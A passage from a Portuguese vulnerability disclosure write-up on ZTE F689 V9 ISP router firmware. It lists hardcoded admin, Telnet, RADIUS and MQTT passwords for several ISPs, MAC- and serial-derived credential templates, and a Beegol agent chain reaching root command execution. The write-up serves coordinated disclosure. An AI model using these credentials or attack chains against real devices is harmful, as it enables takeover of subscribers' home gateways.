, voc\u00ea precisa navegar pra o menuView relevante antes de poder fazer POST no endpoint de dados correspondente. Isso \u00e9 f\u00e1cil de perder se voc\u00ea s\u00f3 est\u00e1 replayando HTTP requests brutos sem passar pelo fluxo do browser. Sempre capture e entenda a intera\u00e7\u00e3o completa do browser antes de tentar automatizar.\n\nConselhos Pr\u00e1ticos pra RE de Firmware Embarcado\n\n\n\n\n\nComece com strings no bin\u00e1rio principal antes de abrir um disassembler. Voc\u00ea vai encontrar nomes de objetos IPC, format strings com pontos de injection \u00f3bvios, e valores hardcoded que guiam onde olhar.\n\n\n\n\nMapeie a arquitetura IPC primeiro. Entenda como o frontend web conversa com o daemon de backend antes de mergulhar em qualquer dos lados isoladamente.\n\n\n\n\nLua \u00e9 leg\u00edvel. Se o firmware tem c\u00f3digo web em Lua, leia tudo , geralmente \u00e9 a descri\u00e7\u00e3o mais honesta do que o dispositivo aceita e do que faz com a entrada.\n\n\n\n\nCruze refer\u00eancias com o backup de config. O arquivo de config exportado frequentemente cont\u00e9m estruturas de tabela que mapeiam perfeitamente pra o modelo de objetos interno do firmware, economizando horas de an\u00e1lise bin\u00e1ria.\n\n\n\n\nUse o decompiler do Ghidra pras partes peludas. Radare2 \u00e9 mais r\u00e1pido pra navega\u00e7\u00e3o e scripting, mas o output do decompiler do Ghidra \u00e9 inestim\u00e1vel quando voc\u00ea est\u00e1 tentando entender uma fun\u00e7\u00e3o complexa sem passar horas em assembly ARM puro.\n\n\n\n\n\n10. Segunda Fase de Pesquisa \u2014 An\u00e1lise Est\u00e1tica em Escala Global: 14 Novas Vulnerabilidades\n\nAp\u00f3s a divulga\u00e7\u00e3o inicial da primeira fase (CVE-A a CVE-I), continuei a an\u00e1lise do firmware com foco em bin/cspd \u2014 o daemon central de provisionamento que cont\u00e9m a l\u00f3gica de configura\u00e7\u00e3o de credenciais para cada ISP parceiro da ZTE ao redor do mundo. Usando extra\u00e7\u00e3o sistem\u00e1tica de strings e an\u00e1lise de sequ\u00eancias de bytes, identifiquei mais 14 vulnerabilidades independentes que afetam dezenas de milh\u00f5es de dispositivos em pelo menos 12 pa\u00edses.\n\nA descoberta central dessa fase foi o mapeamento das fun\u00e7\u00f5es de provisionamento ISP-espec\u00edfico em cspd: cada ISP (identificado por um c\u00f3digo CC interno) tem seu pr\u00f3prio bloco de inicializa\u00e7\u00e3o, e a maioria usa credenciais hardcoded, deriva\u00e7\u00f5es previs\u00edveis ou protocolos inseguros que contradizem qualquer modelo razo\u00e1vel de seguran\u00e7a de CPE.\n\n10.1 CVE-J \u2014 Pre-Auth RCE em httpd (documentado na Se\u00e7\u00e3o 5 e 6)\n\nTecnicamente descoberto durante esta fase de an\u00e1lise, CVE-J est\u00e1 detalhado nas se\u00e7\u00f5es anteriores por ser a vulnerabilidade de maior impacto. CVSS 9.8 Critical. Ver Se\u00e7\u00f5es 5 e 6.\n\n10.2 CVE-II \u2014 Chave AES Hardcoded em passpppoe.so (CWE-321)\n\nA biblioteca lib/passpppoe.so cont\u00e9m uma chave AES hardcoded utilizada para cifrar credenciais PPPoE durante o provisionamento. A chave est\u00e1 embeddada como literal bin\u00e1rio no pr\u00f3prio c\u00f3digo da biblioteca \u2014 sem deriva\u00e7\u00e3o por dispositivo, sem depend\u00eancia de hardware \u00fanico.\n\nImpacto: Qualquer pessoa com acesso ao firmware (obt\u00edvel sem autentica\u00e7\u00e3o via CVE-B) pode decriptar credenciais PPPoE de qualquer dispositivo que use essa biblioteca. Credenciais PPPoE d\u00e3o acesso \u00e0 sess\u00e3o de internet do assinante e potencialmente ao portal de ger\u00eancia do ISP.\n\nCVSS: 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\n10.3 CVE-JJ \u2014 URLs de ACS TR-069 Hardcoded + Credencial Fallback Multi-ISP (CWE-798 / CWE-319)\n\nO cspd cont\u00e9m, compilado como literais de string, os endere\u00e7os dos servidores ACS TR-069 de 7 ISPs distintos \u2014 incluindo alguns usando HTTP puro na porta 7547 (sem TLS). A faixa de offsets 0x28d087\u20130x28f297 no bin\u00e1rio cont\u00e9m endere\u00e7os de ACS, credenciais de fallback e, no caso do GTPL India, uma whitelist de DNS hardcoded.\n\nISPs afetados e evid\u00eancias:\n\n\n\n\nISP\nEndere\u00e7o ACS\nProtocolo\n\n\n\n\nClaro Brasil\ntr069.sdm.virtua.com.br:7547\nHTTPS\n\n\nVirtua/Claro legacy\ntr069.virtua.com.br\nHTTPS\n\n\nMGTS Russia (CC=118)\nservidor MGTS\nHTTPS\n\n\nJLM Indonesia\nhttp://acs.jlm.net.id:7547\nHTTP puro\n\n\nGTPL India\nhttp://cwmp.gtpl.aprecomm.ai:8088\nHTTP puro\n\n\nUbiquoss (CC=2083)\nservidor Ubiquoss\nHTTPS\n\n\nMegacable M\u00e9xico (CC=2018)\nservidor Megacable\nHTTPS\n\n\n\n\nGTPL India \u2014 DNS whitelist hardcoded: O bloco da GTPL India em 0x28f377 cont\u00e9m uma lista est\u00e1tica de servidores DNS que o dispositivo aceita como autoritativos: 182.237.9.10, 182.237.12.6, 43.231.56.2, 103.15.63.4, 103.36.83.36, 182.237.14.2, 27.116.55.202. Uma whitelist hardcoded no bin\u00e1rio n\u00e3o pode ser atualizada via TR-069 sem um reflash de firmware.\n\nJLM Indonesia + GTPL India \u2014 HTTP/7547: TR-069 sobre HTTP puro em porta 7547 exp\u00f5e toda a sess\u00e3o de provisionamento (incluindo credenciais enviadas no Inform e comandos SetParameterValues) a qualquer on-path attacker na rede do ISP ou em roteadores de tr\u00e2nsito entre o CPE e o ACS.\n\nCVSS: 7.4 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N) para o vetor de downgrade HTTP\n\n10.4 CVE-KK \u2014 Artefatos de Desenvolvimento FTP na Imagem de Produ\u00e7\u00e3o (CWE-489)\n\nO filesystem de produ\u00e7\u00e3o cont\u00e9m artefatos de desenvolvimento FTP que n\u00e3o deveriam estar presentes em firmware de produ\u00e7\u00e3o: scripts de teste, arquivos de configura\u00e7\u00e3o tempor\u00e1rios e credenciais de staging para infraestrutura FTP interna da ZTE.\n\nImpacto: Exposi\u00e7\u00e3o de detalhes sobre a infraestrutura de build e staging da ZTE. Potencial acesso a sistemas internos de desenvolvimento se as credenciais ainda estiverem v\u00e1lidas. Indicativo de aus\u00eancia de processo de limpeza de artefatos antes do release.\n\nCVSS: 5.3 Medium (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\n10.5 CVE-LL \u2014 Senha RADIUS Hardcoded para Megacable M\u00e9xico (CWE-798)\n\nO bloco de provisionamento Megacable (CC=2018) em bin/cspd cont\u00e9m a senha RADIUS hardcoded m3g4c4bXXXXX como literal bin\u00e1rio. Essa senha \u00e9 usada para autentica\u00e7\u00e3o RADIUS do dispositivo contra a infraestrutura de autentica\u00e7\u00e3o da Megacable.\n\nEvid\u00eancia:\n\nstrings bin/cspd | grep -A1 'RADIUS.radius.Mega'\nm3g4c4bXXXXXXXX\n\n\nImpacto: Qualquer dispositivo Megacable pode ser autenticado na infraestrutura RADIUS da Megacable usando essa credencial. Se a infraestrutura RADIUS for usada para controle de acesso \u00e0 rede, um atacante pode autenticar dispositivos n\u00e3o-autorizados como se fossem CPEs leg\u00edtimos da Megacable.\n\nCVSS: 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\n10.6 CVE-MM \u2014 Credencial Telnet/Samba/FTP Derivada de GPON SN: ISP-198 e CC=66 Tail\u00e2ndia (CWE-916)\n\nO cspd usa TdGetPonSn \u2192 GenRossnFromGponsn como fonte prim\u00e1ria (n\u00e3o fallback) da credencial Telnet/SSH/Samba/FTP para dois deployments: ISP-198 (c\u00f3digo de ger\u00eancia) e CC=66 (Tail\u00e2ndia). A chave MIB TS_UPwd_198 aciona uma leitura de flash que, ao falhar, cai para deriva\u00e7\u00e3o GPON SN. Para CC=66, a deriva\u00e7\u00e3o via GPON SN \u00e9 o caminho prim\u00e1rio.\n\nCadeia de deriva\u00e7\u00e3o:\n\nGPON SN (ex: CLARO_6842C7)\n  \u2192 _getGponSnfromTag()\n  \u2192 ConvertStr2AscII()     [converte cada char para representa\u00e7\u00e3o ASCII hex]\n  \u2192 StringToUpper()\n  \u2192 GenRossnFromGponsn()   [fun\u00e7\u00e3o de mistura \u2014 revers\u00edvel com o SN em m\u00e3os]\n  \u2192 credencial Telnet/Samba/FTP\n\n\nO GPON SN \u00e9 frequentemente vis\u00edvel via interface web sem autentica\u00e7\u00e3o, via SNMP, ou \u00e9 deriv\u00e1vel do endere\u00e7o MAC (que pode ser capturado passivamente via Ethernet/WiFi). Um atacante que capture o SN deriva a credencial de ger\u00eancia localmente, sem nenhuma intera\u00e7\u00e3o com o dispositivo.\n\nCVSS: 7.4 High (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\n10.7 CVE-NN \u2014 Senha Admin Hardcoded superinea para MGTS R\u00fassia (CWE-798)\n\nO bloco de provisionamento MGTS Russia (CC=118) em bin/cspd cont\u00e9m o literal superinea como valor da chave DefAdNewPass118 \u2014 a senha de administrador hardcoded para todos os dispositivos ZTE F689 V9 implantados pela MGTS na R\u00fassia.\n\nEvid\u00eancia (offset 0x28d170):\n\noffset    hex                        ASCII\n28d162:   44 65 66 41 64 4e 65 77 50 61 73 73 31 31 38 00  DefAdNewPXXXXXX.\n28d172:   73 75 70 65 72 69 6e 65 61 00                    superinea.\n\n\nsuperinea \u00e9:\n\n\n\n\n\nUm anagrama de sinupera e variantes \u2014 prov\u00e1vel refer\u00eancia interna\n\n\n\n\nN\u00e3o presente em wordlists p\u00fablicas padr\u00e3o, mas recuper\u00e1vel diretamente de strings(1) sem qualquer ferramenta de an\u00e1lise\n\n\n\n\nId\u00eantica em todos os dispositivos MGTS implantados com esse firmware\n\n\n\nImpacto: Acesso de administrador total a qualquer dispositivo F689 V9 da base de assinantes da MGTS Russia. A MGTS \u00e9 o maior provedor de telecomunica\u00e7\u00f5es da R\u00fassia \u2014 essa vulnerabilidade afeta potencialmente centenas de milhares de assinantes.\n\nCVSS: 8.8 High (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n10.8 CVE-OO \u2014 Protocolos de Ger\u00eancia Inseguros Habilitados por ISP (CWE-319)\n\nDois deployments habilitam protocolos de ger\u00eancia sem criptografia de forma intencional e documentada no firmware:\n\nMegacable M\u00e9xico (CC=2018):\n\n\n\n\n\nInterface web HTTP (sem HTTPS) habilitada por configura\u00e7\u00e3o ISP\n\n\n\n\nTelnet na porta 2323 habilitado adicionalmente ao Telnet padr\u00e3o na 23\n\n\n\n\nToda comunica\u00e7\u00e3o de ger\u00eancia \u00e9 transmitida em cleartext na rede local e potencialmente via WAN\n\n\n\nAlbania ONE (CC n\u00e3o divulgado):\n\n\n\n\n\nTodos os protocolos de ger\u00eancia (HTTP, Telnet, FTP, SNMP) habilitados simultaneamente\n\n\n\n\nNenhum protocolo seguro equivalente \u00e9 configurado como obrigat\u00f3rio\n\n\n\nImpacto: Qualquer on-path attacker entre o administrador e o dispositivo (LAN ou WAN) pode capturar credenciais de ger\u00eancia e comandos de configura\u00e7\u00e3o passivamente. Para Megacable, a porta 2323 bypass qualquer firewall que filtre apenas a porta 23 padr\u00e3o.\n\nCVSS: 8.1 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) \u2014 Megacable/WAN; 8.8 High (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \u2014 Albania ONE/LAN todos os protocolos\n\n10.9 CVE-PP \u2014 Credenciais MQTT de Teste Hardcoded para Claro Argentina (CWE-798)\n\nO bloco de provisionamento Claro Argentina (CC=170) em bin/cspd cont\u00e9m credenciais MQTT de ambiente de teste compiladas no bin\u00e1rio de produ\u00e7\u00e3o:\n\nEvid\u00eancia (offset 0x28d6d4):\n\n0x28d6d4: testcXXXXX         \u2190 username MQTT (literal bin\u00e1rio)\n0x28d6dc: PepitopXXXXXXXX \u2190 password MQTT (literal bin\u00e1rio)\n\n\ntestcpe \u00e9 um username de ambiente de testes/staging (test + CPE). PepitopXXXXXXXX (\"Pepito pistola\" \u2014 express\u00e3o coloquial argentina, seguida de 1.) indica que essa credencial foi criada informalmente por um desenvolvedor e nunca substitu\u00edda antes do release de produ\u00e7\u00e3o.\n\nImpacto: Qualquer atacante com acesso ao broker MQTT da Claro Argentina pode publicar mensagens de ger\u00eancia como se fosse qualquer CPE Claro Argentina F689 V9, ou assinar t\u00f3picos de ger\u00eancia para monitorar comandos enviados para qualquer dispositivo.\n\nCVSS: 5.3 Medium (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N)\n\n10.10 CVE-QQ \u2014 Senhas Admin Hardcoded 2029 e superadmin para ZTE F6600/CC=202 (CWE-798)\n\nO bloco de provisionamento para o modelo F6600 / CC=202 (variante Egito) cont\u00e9m dois literais de senha de administrador hardcoded no bin\u00e1rio de produ\u00e7\u00e3o:\n\nEvid\u00eancia (offsets 0x28d700\u20130x28d720):\n\nDef6600AdNewPass202.  \u2190 chave MIB\n2029.                 \u2190 VALUE: senha admin hardcoded\nDef6600SuNewPass202.  \u2190 chave MIB (superadmin)\nsuperadmin.           \u2190 VALUE: senha superadmin hardcoded\n\n\n2029 \u00e9 trivialmente quebr\u00e1vel (4 d\u00edgitos). superadmin \u00e9 um dos usernames/senhas mais comuns em listas de credenciais default de dispositivos de rede \u2014 presente na primeira linha de qualquer wordlist de IoT.\n\nNota de escopo: Essas credenciais afetam o modelo F6600 e o deployment CC=202 (Egito), n\u00e3o o F689 V9 Claro Brasil. A evid\u00eancia est\u00e1 no firmware do F689 porque a ZTE usa um bin\u00e1rio cspd compartilhado entre m\u00faltiplos modelos, com provisionamento por CC code.\n\nCVSS: 8.8 High (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n10.11 CVE-RR \u2014 Deriva\u00e7\u00e3o Global de Credenciais admin/user/SIP via GPON SN (CWE-916)\n\nA fun\u00e7\u00e3o GenRossnFromGponsn em bin/cspd, chamada via dbc_person_authinfo_product.c, \u00e9 o fallback de credencial para todos os deployments onde o ISP n\u00e3o define um literal hardcoded. Isso inclui as credenciais das contas admin, user e SIP (VoIP).\n\nCadeia completa:\n\nQualquer deployment (sem literal hardcoded ISP-espec\u00edfico)\n  \u2192 dbc_person_authinfo_product.c:GetAdminPwd()\n  \u2192 _getGponSnfromTag()\n  \u2192 GenRossnFromGponsn(GPON_SN)\n  \u2192 senha de admin/user/SIP\n\n\nImpacto de escopo: CVE-MM cobre dois deployments espec\u00edficos. CVE-RR \u00e9 a vulnerabilidade subjacente que afeta todos os outros deployments do F689 V9 que n\u00e3o tenham um literal hardcoded ISP-espec\u00edfico. O GPON SN \u00e9 um identificador de dispositivo que aparece no backup de configura\u00e7\u00e3o, na interface web, via SNMP, e \u00e9 frequentemente correlacion\u00e1vel com o endere\u00e7o MAC (capt\u00e1vel passivamente).\n\nDiferen\u00e7a de CVSS vs CVE-MM: CVE-MM tem AV:A porque o GPON SN \u00e9 obtido de forma mais direta. CVE-RR tem AC:H adicional porque correlacionar GPON SN a um dispositivo espec\u00edfico a partir de posi\u00e7\u00e3o remota exige mais esfor\u00e7o.\n\nCVSS: 6.8 Medium (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\n10.12 CVE-SS \u2014 Credenciais de Ger\u00eancia Derivadas de MAC: Megacable e TM Malaysia (CWE-330)\n\nDois deployments usam os \u00faltimos 2 octetos do endere\u00e7o MAC como componente de credencial de ger\u00eancia \u2014 efetivamente reduzindo o espa\u00e7o de senha para 65.536 combina\u00e7\u00f5es (2 bytes = 16 bits):\n\nMegacable M\u00e9xico (CC=2018), offset 0x28878d:\n\n// senha do admin = &quot;admin_&quot; + sprintf(&quot;%02X%02X&quot;, mac[4], mac[5])\n// ex: admin_A1B2  se MAC = XX:XX:XX:XX:A1:B2\nsnprintf(pwd, sizeof(pwd), &quot;admin_%02X%02X&quot;, mac[4], mac[5]);\n\n\nTM Malaysia (Telkom Malaysia, CC=190), offsets 0x2887a0\u20130x2887c7:\n\n// tmadmin: &quot;Adm@&quot; + sprintf(&quot;%02X%02X&quot;, mac[4], mac[5])\n// tmuser:  &quot;Usr@&quot; + sprintf(&quot;%02X%02X&quot;, mac[4], mac[5])\nsnprintf(admin_pwd, sizeof(admin_pwd), &quot;Adm@%02X%02X&quot;, mac[4], mac[5]);\nsnprintf(user_pwd,  sizeof(user_pwd),  &quot;Usr@%02X%02X&quot;, mac[4], mac[5]);\n\n\nEvid\u00eancia raw no bin\u00e1rio:\n\n288790: 69 6e 5f 25 30 32 58 25 30 32 58 00 31 39 30 00   in_%02X%02X.190.\n\n\nO endere\u00e7o MAC completo de um dispositivo \u00e9 vis\u00edvel em texto claro via ARP passivo em qualquer rede compartilhada, via Ethernet/WiFi sniffing, ou via DHCP offers. Com o MAC em m\u00e3os, o atacante deriva a senha de admin em milissegundos.\n\nEncadeamento com CVE-OO (Megacable): Megacable habilita HTTP e Telnet/2323 sem TLS. Um atacante que capture o MAC via WiFi e derive admin_XX%02XX tem acesso de admin total em cleartext. A combina\u00e7\u00e3o eleva o CVSS efetivo para o cen\u00e1rio de ataque completo.\n\nCVSS: 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \u2014 Megacable (encadeado com CVE-OO e MAC vis\u00edvel); 8.8 High (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \u2014 TM Malaysia standalone\n\n10.13 CVE-TT \u2014 Credencial Prim\u00e1ria TR-069 ACS Derivada de GPON SN: Telmex e Tele. (CWE-916)\n\nAs fun\u00e7\u00f5es TelmexSetTr069UsrPwd em 0x291650 e TeleSetTr069UsrPwd em 0x291673, ambas em dbc_persion_mgt_product.c, usam _GetGponSnfromTag \u2192 StringToUpper como fonte prim\u00e1ria (n\u00e3o fallback) das credenciais TR-069 ACS para os deployments Telmex M\u00e9xico e Tele. (m\u00faltiplos ISPs \"Tele\"-prefixados).\n\nEvid\u00eancia \u2014 username ACS Telmex:\n\n0x276e7e:  44 34 46 34 33 36 2d 25 73 00   &quot;44F436-%s.&quot;   \u2190 template de username ACS\n0x276e88:  54 65 6c 6d 65 78 20 73 65 74   &quot;Telmex set&quot;    \u2190 debug string confirma context\n           20 61 63 73 20 75 73 65 72 6e    &quot; acs usern&quot;\n           61 6d 65 3a 25 73 00             &quot;ame:%s.&quot;\n\n\nO username ACS \u00e9 44F436-&lt;GPON_SN_derivado&gt; onde 44F436 \u00e9 o OUI da ZTE. A senha vem da chave Pwd_Telmex em /etc/hardcodefile/tr069.\n\nPor que isso importa mais do que CVE-MM: O ACS TR-069 tem controle total sobre o dispositivo \u2014 ele pode ler toda a configura\u00e7\u00e3o, empurrar firmware, alterar credenciais de acesso, abrir portas. Uma credencial TR-069 comprometida \u00e9 mais perigosa que uma credencial Telnet/SSH, porque o ACS n\u00e3o exige acesso de rede ao dispositivo \u2014 o dispositivo se conecta proativamente ao ACS.\n\nImpacto em escala: Telmex \u00e9 o maior ISP do M\u00e9xico. Cada dispositivo F689 V9 da base Telmex tem credencial TR-069 derivada do GPON SN. Um atacante que obtenha o GPON SN de um dispositivo Telmex (via backup config, interface web, ou correla\u00e7\u00e3o de MAC) pode se autenticar no ACS Telmex como aquele dispositivo e emitir comandos de ger\u00eancia.\n\nCVSS: 7.4 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\n10.14 CVE-UU \u2014 Senha Telnet/SSH Hardcoded Administrator para Claro Argentina (CWE-798)\n\nO bloco de provisionamento Claro Argentina (CC=170) cont\u00e9m o literal Administrator como valor da chave MIB TS_UPwd_170 \u2014 a senha do canal de ger\u00eancia Telnet/SSH:\n\nEvid\u00eancia (offsets 0x28d672\u20130x28d68b):\n\n0x28d672: 54 53 5f 55 50 77 64 5f 31 37 30 00   &quot;TS_UPwXXXXXX.&quot;  \u2190 chave MIB\n0x28d67e: 41 64 6d 69 6e 69 73 74 72 61 74 6f   &quot;Administrato&quot;\n          72 00                                   &quot;r.&quot;           \u2190 VALOR: credencial Telnet/SSH\n0x28d68c: 4c 69 73 74 20 46 57 49 50 20 56 69   &quot;List FWIP Vi&quot;  \u2190 mensagem de erro seguinte\n\n\nAdministrator \u00e9 a conta padr\u00e3o do Windows e est\u00e1 presente na primeira p\u00e1gina de qualquer wordlist de credenciais de dispositivo de rede. \u00c9 recuper\u00e1vel de strings(1) sem nenhuma ferramenta de an\u00e1lise.\n\nContexto: dois canais comprometidos para o mesmo ISP:\n\nO bloco Claro Argentina tem hardcoded dois canais de ger\u00eancia independentes:\n\n\n\n\nCanal\nCVE\nCredencial\n\n\n\n\nTelnet/SSH\nCVE-UU (este)\nAdministrator (senha)\n\n\nMQTT ger\u00eancia\nCVE-PP\ntestcpe:PepitoXXXXXXXX\n\n\n\n\nA co-ocorr\u00eancia de credenciais de teste em dois canais distintos no mesmo bloco indica aus\u00eancia total de revis\u00e3o de credenciais antes do release para Claro Argentina.\n\nCVSS: 8.8 High (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), subindo para 9.8 Critical se WAN Telnet estiver habilitado\n\n10.15 CVE-VV \u2014 Agente Beegol: TOFU + Broadcast MQTT + Update Sem Assinatura (CWE-295/284/494)\n\nO firmware embarca o agente de ger\u00eancia remota de terceiros usr/bin/beegol-agent/ba v4.13, operado pela empresa beegol em contrato com a Claro Brasil. O bin\u00e1rio corre como root sem conten\u00e7\u00e3o e apresenta quatro vulnerabilidades que se encadeiam em RCE remoto:\n\nB1 \u2014 Trust-on-First-Use (CWE-296): Na primeira inicializa\u00e7\u00e3o, o agente busca o pr\u00f3prio CA de valida\u00e7\u00e3o TLS do servidor sem nenhum CA pr\u00e9-instalado, aceitando qualquer CA servido por um atacante on-path. Confirmado dinamicamente (2026-05-11): o ca.pem do atacante foi salvo permanentemente \u2014 MD5 id\u00eantico ao CA original.\n\nB2 \u2014 Canal MQTT de Broadcast (CWE-284): Todos os dispositivos subscrevem ao t\u00f3pico \u00fanico beegol/test/cmd. Qualquer publica\u00e7\u00e3o neste t\u00f3pico com campo cmd_line executa comandos shell como root em toda a base de assinantes simultaneamente. O nome test no t\u00f3pico de produ\u00e7\u00e3o indica promo\u00e7\u00e3o de ambiente de desenvolvimento sem revis\u00e3o.\n\nB3 \u2014 Chave de Identidade Exfiltrada (CWE-312): O POST /registry envia uma chave sim\u00e9trica de 32 bytes via canal TLS comprometido pelo B1 \u2014 capturada dinamicamente no MitM de 2026-05-11.\n\nB5 \u2014 Update Sem Assinatura (CWE-494): O agente baixa payload.tar e executa install.sh como root sem verifica\u00e7\u00e3o criptogr\u00e1fica. Confirmado dinamicamente: install.sh benigno executado como root via MitM, uid=0 confirmado.\n\nEvid\u00eancia adicional: O CA embarcado tem CN=BeegolTestCA, O=TestCA \u2014 CA de teste em produ\u00e7\u00e3o. O certificado TLS de beegolv4.virtua.com.br (o endpoint Claro Brasil) est\u00e1 expirado desde 05/12/2025 \u2014 o agente conecta sem validar (confirma B1).\n\nCadeia de ataque confirmada (lab, 2026-05-11):\n\nAtacante on-path \u2192 substitui ca.pem (B1) \u2192 decripta TLS \u2192 captura chave 32B (B3)\n\u2192 serve payload.tar malicioso (B5) \u2192 install.sh executa como root \u2192 RCE permanente\n\n\nCVSS cadeia B1+B5: 8.1 High (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\nCVSS B2 (se ACLs ausentes): 9.9 Critical (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\nPoC: exploits/beegol/poc/beegol_registry_probe.py, beegol_mqtt_acl_test.py, mitm_server.py\nRelat\u00f3rio completo: cve_docs/CVE_VV_Beegol_Agent_TOFU_BroadcastMQTT_UnsignedUpdate_PT-BR.md\n\n\n\n10.16 CVE-WW \u2014 Credenciais de Ger\u00eancia Derivadas de MAC para Orange (CC=2052) (CWE-1392)\n\nExtens\u00e3o direta do padr\u00e3o CVE-SS, o CC code 2052 (Orange ISP \u2014 identificado por Orange-internet, LiveboxFiber, sftp.orange.es, karma.orange.com e m\u00faltiplas fun\u00e7\u00f5es Orange Africa/Europa no mesmo bin\u00e1rio) usa um template de credencial derivado dos dois \u00faltimos bytes do MAC:\n\n$ strings -a bin/cspd | sed -n '17403,17407p'\nadmin%02x%02x     \u2190 username: &quot;admin&quot; + 2 bytes MAC (hex min\u00fasculo)\n2052              \u2190 CC code Orange\n%02X%02X%x%x%x%x  \u2190 formato alternativo (MAC completo)\nOrange%02X%02X    \u2190 password: &quot;Orange&quot; + 2 bytes MAC (hex mai\u00fasculo)\n\n\nO MAC \u00e9 transmitido em broadcast L2, impresso na etiqueta do dispositivo, e vis\u00edvel em qualquer tabela ARP/DHCP \u2014 n\u00e3o h\u00e1 entropia efetiva na credencial. Os mercados Orange identificados no mesmo bin\u00e1rio incluem: Espanha, Fran\u00e7a, Marrocos, Costa do Marfim, Burkina Faso, Senegal, Congo, Pol\u00f4nia, Jord\u00e2nia e Lib\u00e9ria.\n\n\n\n\nCampo\nValor\n\n\n\n\nCWE\nCWE-1392 (Default Credentials), CWE-330 (Insufficient Randomness)\n\n\nCVSS\n8.8 High (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n\nWAN exposta\n9.8 Critical (AV:N)\n\n\nPadr\u00e3o similar\nCVE-SS (Megacable admin_%02X%02X, TM Malaysia Adm@%02X%02X)\n\n\n\n\nRelat\u00f3rio completo: cve_docs/CVE_WW_Orange_MAC_Derived_Credentials_CC2052.md\n\n\n\n10.17 Padr\u00e3o Sist\u00eamico: Uma Vulnerabilidade, M\u00faltiplos Pa\u00edses\n\nA segunda fase de pesquisa revelou um padr\u00e3o que vai al\u00e9m de vulnerabilidades individuais: a ZTE centraliza o provisionamento de credenciais de todos os ISPs em um \u00fanico bin\u00e1rio (bin/cspd), com literais hardcoded indexados por c\u00f3digo CC. Isso significa que:\n\n\n\n\n\nUma an\u00e1lise de firmware exp\u00f5e credenciais de 12+ pa\u00edses simultaneamente \u2014 qualquer pesquisador (ou ator malicioso) que baixe o firmware do Claro Brasil (CVE-B: HTTP sem auth) obt\u00e9m as credenciais de MGTS Russia, Telmex M\u00e9xico, TM Malaysia, Megacable, Claro Argentina, Albania ONE, entre outros.\n\n\n\n\nUm patch de firmware de um ISP n\u00e3o corrige os demais \u2014 se a Claro Brasil aplicar uma atualiza\u00e7\u00e3o que remove Administrator do bin\u00e1rio, o patch completo para Claro Argentina exige que a ZTE atualize o mesmo bin\u00e1rio compartilhado e o distribua via TR-069 para todos os ISPs afetados simultaneamente.\n\n\n\n\nA superf\u00edcie de ataque cresce com cada ISP adicionado \u2014 cada novo deployment ISP adicionado ao mesmo bin\u00e1rio cspd exp\u00f5e as credenciais de todos os deployments anteriores para o novo ISP, e vice-versa.\n\n\n\n\n\n11. Considera\u00e7\u00f5es Finais\n\nComecei essa pesquisa porque queria modo bridge no meu roteador. Terminei encontrando vinte e cinco vulnerabilidades e reportando pra ZTE PSIRT, Claro Brasil CSIRT e CERT.br.\n\nEssa escalada pode parecer dram\u00e1tica, mas reflete uma realidade genu\u00edna sobre seguran\u00e7a de gateways residenciais: esses dispositivos s\u00e3o, em agregado, infraestrutura cr\u00edtica. Eles ficam na fronteira entre milh\u00f5es de resid\u00eancias e a internet. S\u00e3o gerenciados remotamente por ISPs. Raramente s\u00e3o atualizados. Rodam o mesmo bin\u00e1rio de firmware, com as mesmas credenciais hardcoded, em toda sua base de assinantes.\n\nO modelo de seguran\u00e7a pra CPE sempre foi um pouco estranho: o dispositivo mora fisicamente na casa do assinante, mas o ISP \u00e9 dono da camada de ger\u00eancia. TR-069 d\u00e1 aos ISPs poder extraordin\u00e1rio sobre dispositivos que eles n\u00e3o controlam fisicamente. Esse poder s\u00f3 faz sentido se o ACS estiver seguro , e a CVE-D mostra o que acontece quando n\u00e3o est\u00e1.\n\nQuero ser claro quanto ao escopo: essa pesquisa foi conduzida inteiramente no meu pr\u00f3prio dispositivo, na minha pr\u00f3pria rede, com minha pr\u00f3pria assinatura. Eu n\u00e3o tentei acessar o dispositivo de nenhum outro assinante. O teste contra o ACS foi limitado a verificar a falha de autentica\u00e7\u00e3o; n\u00e3o mandei comandos pra dispositivos reais, n\u00e3o modifiquei nenhuma configura\u00e7\u00e3o real, e encerrei cada teste imediatamente ap\u00f3s confirmar a vulnerabilidade.\n\nDisclosure respons\u00e1vel importa. ZTE e Claro foram notificadas com embargo de 90 dias. Quando voc\u00ea estiver lendo isso, patches devem estar em progresso , ou o embargo ter\u00e1 expirado e isso est\u00e1 sendo publicado como press\u00e3o pra agirem.\n\nSe voc\u00ea \u00e9 um pesquisador de seguran\u00e7a que ainda n\u00e3o olhou pra firmware embarcado: \u00e9 mais acess\u00edvel do que parece. As ferramentas s\u00e3o boas, a comunidade de documenta\u00e7\u00e3o \u00e9 ativa (hardwear.io, pesquisa da binarly.io, a comunidade de embedded security no Twitter), e h\u00e1 uma quantidade enorme de firmware implantado e sub-analisado por a\u00ed. Seu roteador fornecido pelo ISP \u00e9 um alvo perfeitamente legal pra pesquisa de seguran\u00e7a, e h\u00e1 uma boa chance de que ningu\u00e9m tenha olhado pra ele com cuidado.\n\nO fato de eu ter encontrado vinte e cinco vulnerabilidades tentando habilitar modo bridge diz alguma coisa sobre o estado da seguran\u00e7a de gateways residenciais. N\u00e3o deveria ser t\u00e3o f\u00e1cil. Mas j\u00e1 que \u00e9 , vai l\u00e1 olhar.\n\n\n\nt1m3\n\n\n\nAp\u00eandice A , Sum\u00e1rio das CVEs\n\nFase 